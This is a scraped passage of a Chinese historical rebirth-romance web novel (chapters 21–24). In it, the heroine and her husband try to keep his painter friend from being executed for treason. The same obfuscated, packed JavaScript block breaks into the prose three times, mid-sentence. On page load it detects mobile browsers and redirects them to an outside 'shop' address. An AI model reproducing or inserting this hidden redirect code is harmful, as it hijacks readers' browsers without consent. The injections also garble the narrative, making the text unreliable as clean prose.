“盼儿你别哭，之前你家阿奶不同意你嫁过来，我母亲也不同意我娶你，但现在我母亲人没了，家里我说了算。只要等我考上了秀才，到时候我就把家里头这个懒媳妇休了，然后堂堂正正风风光光地娶你做秀才娘子，你阿奶也不会不同意了！” “真的吗？”盼儿眼里还含着泪，脸上却满是希冀。 “当然是真的！”宋峤斩钉截铁地说。 “当然是真的！”向清福一脸肯定地说，“我还看到大姐夫跟那个姑娘拉勾一百年了呢。” “不可能！绝对不可能！”向雨嫣完全接受不了向清福嘴里说出来的事实。 21.第 21 章 赵氏知道自己的宝贝儿子只会贪嘴，不会撒谎。 所以大女婿对大女儿的不满也是真的。 而且她自己养大的女儿她自己最清楚，再加上今日她来宋家看到的情景，心里也早就凉了半截。 原本她听向大河的话，觉得大女儿身子弱，在家做姑娘时能娇养着就娇养着，等她成亲嫁人了，作为一个农家女，家里的活儿她看了这么多年，自然也都能学会的。 但没想到却把她养成了这幅懒德行！ 若是当初嫁去县城里的是大女儿，还不用担心什么，但偏偏人家那头看中的是二姑娘…… 如今大女婿因为大女儿不会操持家务，宁愿休了她，去娶一个相貌完全比不上自家女儿的姑娘，赵氏这心里真的是五味杂陈。 但为了向雨嫣不被休，她也不骂向雨嫣找不到水井的事儿了，立刻挑着桶就出门，找人打听水井的位置，挑了两桶水回来。 然后就带着向雨嫣开始把屋子打扫了起来。 刚收拾到一半，宋峤就拿着书回来了。 “岳母你来了啊。”宋峤见赵氏在，他脸上也没有什么表情，只口头礼貌地打了招呼。 赵氏虽然知道他想休妻心里气得要死，但现在也不好发作，反而面上不显，还好声好气地劝宋峤回已经打扫完的屋里歇歇，外面灰重别呛了他。 宋峤也不知道自己在外面的事被小舅子听了去，还讲给了赵氏和向雨嫣听，见他岳母神色和善，也没多想就进屋了。 “娘！”向雨嫣本就做累了，见宋峤回来刚想发脾气，就被赵氏一个眼神给瞪住。 “不想被休就把嘴巴闭上！”赵氏低声威胁道。 向雨嫣今天难得地尝到了她娘“树枝炒肉”的手艺，心里还是怕的，只好又装起了乖。 “娘，我知道你是为女儿好，之前都是我气昏了头了，娘你一定不会怪我的对吧？” 向雨嫣夹着嗓子，上前去轻挽着赵氏摇了摇。 “这么大个人了，别老搞这些忸怩姿态。”赵氏没好气地抽回手，但见女儿态度软和下来，嘴上虽然还嫌弃，心里的火气却也消了大半。 想了想她有叮嘱道：“你可别犯浑，跟女婿打好关系才是最主要的，咱向家可没有被休回娘家的姑娘！” 向雨嫣听出她娘话里的警告，也知道自己的处境，就乖巧地应了，还跟着赵氏出去借了点粮。 也没提她陪嫁的银子给了宋峤的事，只是说他们后面去买了粮食回来再还。 赵氏不再多管，只是直到在回家路上，都还在愁大女儿跟大女婿之间的关系，要如何才能修补好。 若是二女儿在此，肯定就不会让她这么操心了…… 不知怎地，赵氏总是忍不住这样想。 另一边，向雨涵跟着东方晋出去逛街游玩了一上午，快到了午膳的时间，她原本想回去了，却被东方晋带进了县城里最好的酒楼吉祥楼。 “不回去吃，母亲那边知道吗？”向雨涵担忧地道。 “没事的，我已经让立秋回去禀告过了，你就放心吧。” 看着他一副什么都安排好了的样子，向雨涵也没有再提出异议，就跟着他一起上了楼。 一边上楼一边听引路的小二颇为熟稔地跟东方晋说：“三少爷，崔家少爷跟伏少爷几位今日也来了呢，就在您预定位置的隔间。” 东方晋一听顿时脸上带笑，兴致勃勃地对向雨涵说：“走，我带你去见我的几位好友去！” 原本向雨涵以为就是他们两人出来吃个饭，却不曾想东方晋的好友也在，之前在府里虽说也听说有人上门找过东方晋，但那几次向雨涵都在刘夫人那边学习，所以都没见过面，向雨涵对于他们也有几分好奇。 等东方晋推开一间包间的门时，里面果然已经围坐着几名男子。 东方晋高兴地跟几人打了招呼，完全没有留意到向雨涵的目光快速一扫后忽变的神色。 几人见东方晋来了，连忙起身打招呼，还往向雨涵脸上看去，发现对方虽然穿着男装但却是位年轻女子，一个个又都转开了头。 东方晋见此连忙跟向雨涵介绍道：“这几位都是我的至交好友，这位是世家崔氏子弟崔逸民，太医院伏院判二房长孙伏梦舟，还有这位我就不提家世了，他自己就挺有名的……” “妙笔丹青苏行之！”还不等东方晋说出他的名字，向雨涵就接上话了。 “啊？夫人你竟也知道行之啊！”东方晋说完这句，又连忙跟三位好友介绍，“这位是我夫人，之前我成亲时你们都见过。” 几人无语：…… 接亲时新娘子明明戴着红盖头，他们确实见过“人”，但并没有见过容貌啊！ 不过大家都已经习惯他们这位好友时不时的一根筋，也没在意，只是纷纷地见礼，嘴里称着“弟妹”或“嫂夫人”。 “对了夫人，你怎么认识行之的？”东方晋带着向雨涵入座后，又问道。 “听人说苏先生的画工精湛，作画细致入微，栩栩如生，有妙笔丹青的美名。”向雨涵压下心底的震惊，缓缓回答道。 苏石捋了捋下巴上精心修剪过的胡须，心里很是得意，面上含笑，但嘴上却谦虚道：“赞誉过剩，愧不敢当啊！” 其他几人都对他极为了解，见他这幅表现，都忍不住去推他，叫他别装样儿了。 苏石又才跟大家一起哈哈大笑起来。 笑完之后他还心情极好地跟向雨涵说：“今日见了弟妹果真投缘，恰好我那里近日刚好做了一副新画，晚些时候就命人送去贵府赠与弟妹。” 向雨涵也没客气推辞，很是自然地道了谢。 大家见她做派落落大方，都心生好感。 只有东方晋一脸好奇，盯着苏石就问：“你都没送过我！这次到底是什么画作，居然舍得送给我夫人？” 苏石瞟他一眼：“谁说我没送过你画作？你成婚前不就送过一套？” 东方晋忽然记起了什么，脸色哄的一下就红成了煮熟的虾，还十分心虚地瞄了旁边的向雨涵一眼，脑袋都低了几分。 他小声嘟囔了句：“我也不知那竟然是你画的……” 其余几人又对东方晋投来了好奇的眼光。 只是东方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984158|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋低着头没解释，苏石也笑而不语。 向雨涵也没管苏石送什么画给东方晋，而是询问了还站在门口的小二平时里几位都爱吃什么菜。 小二是个有眼力见的，连忙报了几个众人以前常点的菜色，又推荐了一道新菜，见客人们首肯后，又麻利儿地下楼去安排去了。 吉祥楼不愧是起云县最好的酒楼，向雨涵对上的每一道菜都吃得非常满意。 而东方晋则一边跟好友们聊着天，一边注意着向雨涵的口味，时不时拿公筷给她夹菜。 上一世注重养生，向来只吃八分饱的向雨涵在东方晋的投喂下，一时不由得也吃撑了。 崔逸民见两人感情如此好，心里不由得暗自羡慕。 毕竟过年他就要回京去了，前段时间母亲还来信说，给他在京城里定了一门亲事，虽说母亲夸赞那女子容貌品行极好，但他也不知对方性格如何，是否与他能像东方兄与他夫人这般和睦…… “我阿爷的意思是让我参加明年的医考，之前我不是刚满十五就考上医丁了，阿爷觉得我在这一途上有天赋，等明年若是考上医士，他就能带我进太医院见习。” 伏梦舟说着家里对他未来前程的安排，脸上却不见了之前一起笑闹时的轻松，一张有些肉乎乎的娃娃脸，都快皱成了包子。 “这是好事啊，为何不高兴？”东方晋大大咧咧的问。 崔逸民放下筷子，帮忙解释道：“应该是放心不下他祖母吧。” 伏梦舟对着崔逸民举了举茶杯，欣慰地道：“知我者，逸民也。” 崔逸民也举起茶杯跟他碰了一碰，然后像是喝酒一样，抿了一小口。 向雨涵看他们之间的互动行为觉得有些好笑，东方晋悄悄靠近她耳边说：“我们几个都这样把茶当酒喝。” 向雨涵笑不出来了。 呃，自家这个酒量她是见识过的，不喝也好，若是旁人要笑就笑吧，反正她不笑了。 又听伏梦舟道：“我从小就跟在祖母身边，如今她老人家身体一日不如一日，为了前程我却不能在她身边敬孝……” “打住吧！令祖母身体好得很，你可别乱说。”苏石皱眉说道。 “你不是医者你不懂，祖母虽说与我祖夫聚少离多，但却为我祖父诞下三儿四女，身子亏的厉害！平日里看着是没有什么，但其实内里早就损伤了本源。”伏梦舟争辩道。 闻言向雨涵也点了点头，作为女子，她虽从未生产，但上一世在跟着府医学习时，也知晓一二。 更何况女子对于女子的身体状况也更为在意，她晚年时也专攻了不少这方面的书籍。 “这都是真的吗？”东方晋是第一次听说这些，他连忙问伏梦舟，“女子生产会损伤本源？” 伏梦舟见他好奇，屋里也都是自己的好友，唯一一位今日才正式认识的也是位女子，于是就放心大胆地说：“确实如此！一般有孕的女子骨盆会变宽，腰椎骨也会前凸，生产后也很难恢复原样。她们的五脏六腑也会因为怀孕和生产移位，若是产后没有好生调养，要么常年带病，要么不能再孕，严重的甚至会早夭。” 22.礼物 其余几人除了向雨涵外，都被这惊世骇俗的言论震惊了。 其中最为惊恐的就是东方晋和苏石。 一位是刚成亲还没有孩子，另一位则是家中已有一女且妻子最近又有孕在身的苏石。 见东方晋被吓到，作为女子的向雨涵倒是还比较镇定，她给他倒了一杯茶，见东方晋喝了，她又轻轻抚了抚他的背。 若是平时，向雨涵有这么亲近的行为，东方晋能高兴半晌，但此时此刻他却担忧地看着她，心里五味杂陈。 向雨涵避开了他那直白的眼光，心里对伏梦舟这个看着面嫩，心思却细腻的人产生了几分好感。 上一世她后来保养得宜，吃惯了鲜花嫩草的宋峤，也不是没有回头找过她。 但向雨涵都通通拒绝了，一面是觉得他肮脏，一面又觉得那些抬回来的小妾很是可悲，尤其是为了那狗男人生儿育女最后血崩而亡的，最是可悲可怜。 所以有关生育的风险，向雨涵其实看得最为清楚。 一场聚会很快散去，回家的路上东方晋显得有些心不在焉，知道路过一家在门口都能闻到香甜味的糕点铺子，他才回过神来。 “这家是新开的，我去给母亲买些尝尝。”东方晋对向雨涵说。 向雨涵一下就懂了他的孝心，抬步陪他一起进去。 回家后，二人一同去了主院。 刘夫人正在靠在软榻上午歇，身边伺候的丫鬟只留了琴音。 见东方晋来了，琴音欢喜地想要喊出来，却见东方晋做了个嘘声的手势，连忙忍住了。 向雨涵走在后面，见刘夫人睡着了，就没再进去，只在外面门廊下轻声询问做针线的棋玉，刘夫人今天的饮食情况和心情如何。 棋玉见这三少夫人是真心的关心夫人，就把刘夫人早上到午后忙碌的事说了。 向雨涵听着一切正常，也就点了点头放心了。 自从嫁过来，婆母对她很是爱护关照的，相处久了，婆媳间也有了些情同母女的感情来。 棋玉想了想，又补充了一句：“夫人又让大姑娘跟着尹嬷嬷念书学规矩了。” “嗯，尹嬷嬷虽为女子，学识规矩都是极好的。”向雨涵赞同地说。 说完向雨涵又以棋玉手里的绣面为话题聊了起来。 屋内，东方晋把散发着香味儿的糕点放下，就去要了琴音手里的扇子，蹲下身跪在软榻旁，给刘夫人扇风。 他向来手劲大，扇子被他扇出了呼呲声。 刘夫人本就已经浅眠了好一会儿，隐约觉得脸上的风大了许多，迷迷糊糊睁开眼，就看到了她的宝贝三儿，顿时脸上就漾起了笑来。 “跟你媳妇出去玩了舍得回来啦？”刘夫人笑着打趣道。 “儿子想念母亲了。”东方晋忽然情真意切地说。 刘夫人忽地就被这突如其来的一句话感动了。 “你这孩子……” “母亲……” 东方晋脑子里还回荡着伏梦舟的话，看着自家威严又温柔的母亲，此刻才发现她的眼角全是细纹，隐约间还有些许疲态，一时间心里酸涩不已。 东方晋跪在地上，把脑袋靠进了刘夫人的怀里，刘夫人既高兴又嫌弃，摸了摸儿子的头，就往外推。 “这秋老虎还厉害着，你这大火炉可别来烤我！” 东方晋噗呲就笑了，难得耍起了赖皮。 “儿子就要靠着母亲，粘着母亲一辈子。” 刘夫人也不知道儿子是受了啥刺激，只是笑骂道：“你这粘人精！小时候就特别的粘，如今都讨媳妇了还这样，也不怕被你媳妇知道了笑话你！” 向雨涵在门外听到刘夫人说话的声音，知道婆母是醒了，连忙进来，一下就听到了这句话。 她立刻笑着接话道：“才不笑话呢，媳妇也恨不得粘着母亲呢！” 刘夫人被他俩夫妻逗的哈哈哈大笑。 向雨涵想到婆母刚睡醒，就又去拿了杯茶过来，递给刘夫人喝。 刘夫人见她如此贴心，心情就更好了。 “跟我说说吧，你俩今日出去玩什么了？午膳都没有回来用。” 东方晋邀功似的说：“儿子对您的宝贝儿媳可好了！不但一起逛了东市，我们还去吉祥楼吃了好多好菜。” “可买了什么？” 东方晋一愣，只回头看了看桌上的糕点，然后有些不好意思地说：“给母亲买了新出炉的糕点。” 刘夫人轻拍了他一下：“我是说给你媳妇买了啥。” “母亲，我在家里吃穿用度都不缺，跟夫君出去不过是游玩，不用买什么的。”向雨涵连忙上前打圆场。 东方晋也反应过来，自己之前只带自家夫人吃吃喝喝、走走停停的，居然没想到要给她买点礼物什么的，确实有些说不过去。 “今日是我平生第一次跟除母亲以外的女子出去，考虑不周，还请夫人海涵。”东方晋说着还站起来朝着向雨涵一揖。 向雨涵连连摆手，嘴里说着自己不在意这些的。 刘夫人见他们夫妻二人如此，便又笑着对儿子说：“别人家都说是‘有了媳妇忘了娘’，你倒是反过来还惦记着我，可见你这个媳妇是个好的，以后可要多上心，莫要辜负了她！” “母亲说得对！”东方晋有些惭愧地看着向雨涵，“下次我一定不会再忘了。” 世间男子大多懂事得比女子晚，哪怕是成婚了也得教。 自从这次刘夫人提点了东方晋之后，他之后几乎每次出门回来都会给向雨涵带礼物，有时候是贵重的金银首饰一类，有时候是山间野果路边小花。 向雨涵对于东方晋每次带回来的礼物，都予以了赞扬和肯定，这也导致东方晋每次出门给她带礼物都更加的积极和用心。 此为后事，暂且不谈。 第二日上午，大暑捧了个长条形的木匣回来。 说是苏家送来给东方家三少夫人的礼物。 向雨涵脑子里忽然就想起了昨日意气风发的苏行之，还有上一世的三年后，因为通敌罪名而被押着在菜市口秋后问斩的苏行之…… “昨日行之说要送夫人礼物，今日这么早就派人送了来，他这急性子也不知平时是怎么静下来心来作画的。”东方晋突然的出声，打断了向雨涵的思绪。 他刚从练武场回来，身上汗湿的衣服还没来及的换，心里好奇得紧，也不去清洗，就等着向雨涵把木匣打开。 从木匣形状来看，向雨涵料到对方送她的应该是一幅画，但等她打开后却不料画的竟是东方晋，而且看场景还是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996953|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成亲那天。 画上的东方晋满是做新郎官时的春风得意，他明明浓眉大眼，却笑得眉眼弯弯，那开怀的模样，光是看着画都会让人忍不住同他一起笑起来。 “画得真好啊。”向雨涵一时间竟有些词穷，只能直白地夸赞道。 东方晋原本凑过去看到自己傻笑的模样，还有些不好意思，听到媳妇夸，他又得意了起来。 “画得好，但也主要是人长得好。”他自夸道。 向雨涵看他一眼，也跟着点了点头，说道：“父亲母亲确实把你生得好。” 东方晋顿时更得意了。 “那可不！我小时候连祖父都夸过我长得好的，每次出门祖父都会抱着我去骑马。” 向雨涵难得听到他提到京城的那位尚书大人，于是便好奇地问：“祖父我还不曾见过，他老人家到底是个什么样的人呢？” “祖父啊……”东方晋听到这么一问，脑海里也开始回想起儿时自己在京城，与祖父在一起的点点滴滴。 远在几千里之外的京城，此时已经散了朝。 兵部尚书东方正启满脸怒容地握着玉笏，正大步地往宫外走去。 “东方大人！东方大人，你等等！”一个跟他同样身穿紫色锦纹朝服的官员一边喊着，一边快步地追了上来。 东方正启默不作声，依旧大步往前走。 “东方正启，你给我站住！” 听到对方喊他全名，东方正启停住了脚步，一脸不耐烦地回头，恶狠狠地骂道：“明不屈你这老狗叫什么叫？” 礼部尚书明不屈一听他骂他是老狗，一下也怒了。 冲到东方正启面前，踮起脚尖，毫不客气地就骂回去：“东方正启你这乱咬人的老狗！刚刚在朝上若不是本官替你求情，只怕你官身不保，不料你居然如此的不识好歹！” “不保就不保！大不了老子回乡种地薯去！”东方正启推开比他矮了半个头的明不屈，又大步向前。 小老头模样的明不屈气得不行，但又顾及些这还是在宫中，也不好再多说自己的这位同乡什么，只好等回去之后再想办法劝解对方。 回到尚书府的东方正启连喝了两杯凉茶依旧不解气。 已经被称为老夫人的老妻陈氏看着他马上要砸了手里的杯子，连忙上前去夺了，放下躲过一劫的茶杯，又给他拍了拍后辈顺顺气。 “这大白天的，不就去上个朝嘛，又跟谁吵起来了？生这么大的气。”陈氏温声软语地询问道。 “跟谁？跟皇帝老儿！”东方正启气得拍了一下桌子。 陈氏心里一惊，马上朝身边伺候的人使了个眼色，嬷嬷丫鬟们都自觉地快速撤离去了院外。 “这次又是因为那太子？”陈氏一边替夫君顺着气一边小心地问。 “除了他还能有谁？”东方正启说着就哼了一声，“原本陛下都同意了把今年的新粮以及二十万军饷划给西北军了，太子非说前皇后托梦给他，说什么皇陵沁水了，要他修整皇陵！他那分明都是借口，就是不想让信诚在西北有好日子过！” “好了好了，夫君你不要担心，诚儿之前不是来信说他们今年想到法子过冬了吗？他向来懂事沉稳，等秋收过了，咱再派人给诚儿带些东西去，定能熬过去的。”陈氏安慰道。 23.好友 东方正启与陈氏成婚多年，只育有三个女儿。 大儿子东方信诚和二儿东方信鸿都是在东方正启三十五岁之后才纳妾生的。 东方信诚被记在了陈氏名下为嫡子，因为从小喜读兵书且善武，就被送去了军营了，从小兵开始，一直做到了镇西大将军。 东方信鸿不爱读书，倒是学了一身武艺。但东方正启不想把两个儿子都送去战场，就让他回自己的老家起云县做个守家的。 家里三个女儿也早就出嫁，大女儿和二女儿都嫁在京城门当户对的人家里，只有原本最娇生惯养的三女儿，反而嫁给了一个科举成进士寒门子弟，跟着人家一起去西北一个贫瘠之地做县令夫人去了。 东方正启的那位妾室也是陈氏的远房族妹，为人老实本分，又为东方家生了两个儿子，陈氏待她也不薄。 陈姨娘提着刚熬好的秋梨甜汤送来给陈氏，就听说东方正启回来了，正在屋里说话，便没有进去。 东方正启被老妻劝住，正要出门去书房给二儿子写信，就看到外面日头下站着的陈姨娘，有些诧异。 “你怎么过来了？” 陈姨娘先是行了一礼，然后才温声缓缓开口道：“昨日里听到姐姐有些咳嗽，我便炖了些秋梨甜汤过来。” “你倒是有心了。”东方正启夸赞了一句，随即又说，“刚好我这两日有事要吩咐老二，你若是有什么要跟他带的，也可收拾了拿过来，我派人一起送去。” 陈姨娘一听，脸上顿时大喜过望，又朝着东方正启行了一礼，嘴里感激道：“多谢老爷恩典！” 东方正启没有再多说什么，只朝陈姨娘摆了摆手，示意她把手里的甜汤送进去，自己则转身去了书房。 陈姨娘目送他出去，这才转身进去见陈氏。 下午，东方正启去了兵部衙门。 刚坐下不一会儿，明不屈就又来了。 “你又来做什么？”东方正启没好气地说。 明不屈倒是没在意他的态度，自顾自地去倒了一杯底下人刚送来的茶，捧在手里边吹边喝。 “今日早朝时，不知你可否注意到陛下的眼眸？”明不屈突然来了这么一句。 东方正启没听懂他的话，反问：“你这是什么意思？” 明不屈见他火气下去能沟通了，便放下茶杯有些语重心长地说：“我们的陛下他老了啊！眸色昏黄，即便是与你生气时看起来还是当初那个威严的帝王，但我看到他龙袍下两股颤抖，似乎都要坐不稳了。” “啊？陛下龙体怎会如此差了？”东方正启当时气头上，觉得皇帝越老越昏庸，偏袒太子，弃国家安危于不顾，却没有明不屈看得清楚。 “他本就大我们十多岁，当年我们跟着他一起平定叛乱时不也才十几岁的毛头小伙子？如今也都是年近花甲了啊！” 东方正启被明不屈这么一说，心里也有些愧疚，但嘴上还在硬挺。 “但即便如此，他也不该把西北军的军饷让太子拿去修皇陵才是！” 明不屈看了一眼外面，然后跟东方正启坐近了些，还把手臂搭在了对方的肩膀上。 东方正启想要推开，却被明不屈一把勾住，靠近他耳边轻声的说：“太子的野心，他未必不知，不过是目前时机不对而已！” 东方正启一惊随即反应了过来，然后委屈道：“那他之前私下召唤我时，却一句没给我提过此事。” 明不屈瞟他一眼，语气懒懒的说道：“就你那炮仗性子跟你说了，你守得住吗？” 东方正启一噎，顿时觉得明不屈说得对。 哪怕是在官场混了这么多年，他也一直是个直脾气，有什么事情若是跟他不说清楚，他就会一直揪着不放。 他也知道自己的脾气，如果不是当今陛下心怀宽广，换的是别的人坐那位置，估计他的脑袋都已经搬家了多少次了。 “唉。”东方正启顿时神色恹恹地叹了一口气。 明不屈看他那样子，只是拍了拍他肩膀，安慰道：“陛下不会因为今天的事跟你生气的。” 说完便起身要走，只是走到门口，他还是没忍住回头轻声责备了一句：“你就不该气他的！” 直到听到外面来往办公的官员跟明不屈打招呼送别，东方正启也没从位置上起来。 “太子已经如此明目张胆了么？”他轻声喃喃自语。 想到这里，东方正启又铺了一张空白的纸，研墨提笔，写了一封信。 下衙后，他把下午写的这封信与中午给老二写的信放在了一起，听下人说陈姨娘已经把要给老二的东西送过来了，便立刻找了心腹来，让人连夜赶马送出去。 朝堂上风云涌动，身在起云县的向雨涵是丝毫不知。 她心里愁的是苏行之的事，她要如何跟东方晋说。 毕竟他们两个是多面的至交好友，若是上一世苏行之的罪名属实，她担心会跟东方晋产生牵连，甚至影响到东方家。 通敌叛国可是诛九族的大罪！ 上一世的五年后，东方败落，东方晋被人打断了腿扔在了巷子里，也不知是否与这件事有关。 如果没有嫁进东方家，向雨涵还能当自己只是一个旁观者，但如今她已经是东方家的一员，一荣俱荣一损俱损的道理，她比谁都懂，所以她之前还特意跟东方晋打听了那位任兵部尚书的祖父。 东方晋不知向雨涵心中的思虑，只是也敏感地察觉到了最近自家夫人有些不对劲。 但他担心是女子烦恼，不好开口问，只好去找了表妹刘馥郁。 刘馥郁听说她三表嫂似乎有烦恼，便立刻拍胸脯表示她一定会帮三表嫂排忧解难。 向雨涵看着眼前如同盛开得蔷薇花一样热情的表妹，一时间不知如何是好。 “表妹，我真的没事，是你表哥他多心了。”向雨涵敷衍道。 “三表哥平时可是最粗枝大叶的一个人，他跟我说你有烦心事，那必不会有错，表嫂你就说嘛，你怎么了嘛。” 向雨涵没想到自己明明隐藏得很好的情绪，居然会被东方晋察觉到，心里说不感动是假的，但苏行之的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007175|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她确实不知该怎么开口。 她总不能跟别人说她重生回来的吧？ “我观表嫂你眼底略有青色，是不是最近夜里没有睡好，做了噩梦所致？”刘馥郁猜测道。 却不料刘馥郁的话忽然就提醒到了向雨涵，她立刻点头道：“确实如此。” “哦！原来表嫂是被梦魇所扰，难怪说没事呢……不过，表嫂你做了什么梦呢？”刘馥郁好奇地问。 向雨涵不想说实话，又存了逗弄她的意思，便道：“我梦见表妹跟我抢猪蹄膀，一手抓一只，两口就吃没了。” 刘馥郁被惊得目瞪口呆。 好半晌才道：“我怎么可能跟表嫂抢猪蹄膀？” “哦，不过就是做梦罢了。”向雨涵也不说东方晋把他和刘馥郁小时候结的那些孽缘，都通通说了一遍，还着重强调了两人小时候为了抢猪蹄膀把桌子都掀了的事。 很显然的是刘馥郁也对当年因为猪蹄膀被罚抄《女诫》的事记忆犹新，所以听到向雨涵一说，心里顿时就把东方晋骂上了。 东方晋骑在马上狠狠地打了两个喷嚏，心里还在想不知道表妹跟他的夫人聊得怎么样了。 “东方少爷您来了。”苏家的门房一看到东方晋，就连忙过去行礼问好，又很有眼色地帮忙把马牵好。 东方晋很满意地丢了一串铜钱给他，大方地说：“拿去存着娶媳妇。” 门房小厮最近恰好在相看媳妇，他对东方晋倒也熟悉，知道对方是在打趣，便笑着道了谢。 “你来了？”苏石听到下人禀报东方晋来了，丢了画笔，笑着大步迎了出来。 东方晋见他手指上有异色，便知他又在作画。 “听说嫂夫人这两天即将临盆，我送了点东西过来。”东方晋把手里的盒子随意地递了过去。 苏石也不见外，直接就打开来看，就发现里面装的竟然是一根老参。 “这……这也太贵重了，可使不得！”他连忙装好推回去。 东方晋有些不悦地说：“这是给嫂子备下的，又不是给你的。” “可是……” “别可是了！你跟嫂子从家里出来单过，生活本就不易，嫂子身体那般瘦弱还要为你开枝散叶，如今临盆在即若是……” 到嘴边不吉利的话东方晋又咽了回去，继续说：“上次梦舟所言你我都知晓的，生产不是小事，我这些天也只找到这根不到百年的参，就当是有备无患吧。” 苏石心中很是愧疚，他读书不成就爱作画，之前家里母亲又因为芸娘没有劝他科考而迁怒芸娘，不得已之下他才带着芸娘搬了出来，这几年确实苦了芸娘。 而且为了这一胎，芸娘怀得十分辛苦，看着她肚子越来越大，脸却越来越小，说不心疼是假的。 也是因为这样，他近日里很少出门，整日都在家里作画，希望能创作出一幅好画来，多换取些银钱来。 如今好友给他送来了老参，他心里如何不感动。 “阿晋，多谢你了！”说着，苏石便躬身行了一大礼。 24.第 24 章 东方晋一回家，向雨涵便找他悄悄的说了苏石三年后的事。 在之前刘馥郁的提示下，这个消息自然是以做梦的形式知道的。 东方晋原本也不信，但是向雨涵却说三天后会下雨，县城西门外有棵长了多年的歪脖子树下有个汉子会被雷劈到。 结果热了很多天的秋老虎突然就退了，第三天果然电闪雷鸣地下起了大雨。 东方晋望着屋檐下如同串珠一样的雨帘，心里也暗自惊奇，还不等雨小就让小厮立秋打着伞跑了一趟西城门外。 立秋回来时满脸都是对自家少爷的敬佩。 “少爷您真是神了！” 立秋脚上的鞋、身上的衣服都被打湿了，但他都没顾得上换，一回来就直接过来复命了。 “少爷，您是不知道，我一出城还没打听呢，就有好多人在说有个不孝子被雷劈了的事。” “具体说说。”东方晋也来了兴致，连忙催促道。 向雨涵在旁轻轻扯了他一把，示意人家立秋身上还湿着。 东方晋才有些不好意思地摆摆手说：“你先下去把衣服鞋袜换了，再来回话。” 立秋知道是三少夫人体恤他，故意提醒了三少爷，心里很是感动，笑着应了，快跑着回自己房里换衣服去了。 等立秋一走，东方晋就抓着向雨涵的衣袖，小声地激动道：“夫人你这梦也太准了……” 刚说这一句，他忽然就拧紧了眉头，脸上笑意全无。 向雨涵的梦准了，也就是说梦里关于苏石的事也可能会准。 可是他实在是想不到，苏石怎么可能会跟“通敌叛国”四个字牵扯到一起去。 向雨涵回忆了一下当时她在菜市口听到的议论声…… “这不是那个妙笔丹青苏行之吗？” “对啊，对啊，就是他！” “他犯了什么大罪啊？居然要被砍头！” “不太清楚，听说是他通敌叛国，给了北地那边的蛮人送了什么东西。” “送的是舆图！舆图！”有人插话道。 “啥？舆图！他咋送的？” “他自己画的呗，西北军那边有人拦截下来了，舆图上还有他的落款和印章呢！” “天呐，原来他这么坏！” “是啊，不然苏家怎么会一早就把他赶出来了呢？他就是苏家的弃子！但万万没想到还是牵累到了苏家。” “苏家怎么样了呀？” “还能怎么样？就他判了杀头，其他的流放岭南去了，还好他那妻女死的早，不然活着也是遭罪……” 回想到这里，向雨涵忽然打了个冷战。 东方晋一看，连忙把她从屋檐下往屋里推，又去拿了一件披风来给她披上。 “怎么了？可是着凉了？”东方晋关切地问。 向雨涵摇摇头，也没有阻止他给自己系披风上的带子。 “梦里苏行之的罪名是通敌叛国，证据就是他画的大佑国舆图被送去北地，只是被拦截了下来。”向雨涵沉声道。 东方晋闻言一惊，因为向雨涵说的舆图，他确实听苏石提起过。 而且就是他送人参过去的那日！ “芸娘又临盆在即，最近手头确实不太宽裕，刚好昨日接了个画舆图的活儿，若是能在十日内画完，就能有一笔不错的进项了。” 东方晋脑海中浮现出那日苏石对他提起这件事时，脸上露出来轻松的神色。 那舆图不能画！ 东方晋顿时心中急切不已，他转身就要走，却又被向雨涵拉住。 “你现在这么跑去告知于他，他肯信吗？” 东方晋刚想说怎么不信？忽然又反应过来向雨涵说的对。 毕竟连他之前都不信向雨涵说的话，若不是这场突如其来的大雨，以及城西郊外被雷劈了的歪脖子树和汉子，他压根都不敢信一个人做的梦会成真。 “那你说我要怎么办？那张舆图几日前他就已经开始在画了！而且买家要求十日内交付！芸娘临盆在即，我就怕他为了早些拿到银钱，提前把舆图画好了给出去。” 东方晋心急如焚，他可不能眼睁睁的看着好友走上这条不归路。 “既如此，我们一起去吧。”向雨涵也知道事态紧急，也不再拦着，而是决定跟东方晋一起去。 东方晋见向雨涵对自己的好友如此上心，心里很是感动，就叫了立秋套马车，他们马上出去。 向雨涵则吩咐丫鬟小寒去主院那边跟婆母说一声，她跟三少爷一起出门访友，午膳不在家里吃了。 刚换好干衣服的立秋，还没等来一碗姜汤，就又委屈巴巴地去套马车去了。 很快夫妇二人便到了苏家的宅子，因为房子在一条小巷子里，平时东方晋都是骑马而来，这次带了向雨涵坐马车过来，马车在巷口就进不去了。 还好到的时候雨已经停了，向雨涵被东方晋牵着从马车上下来，一双好看的锦 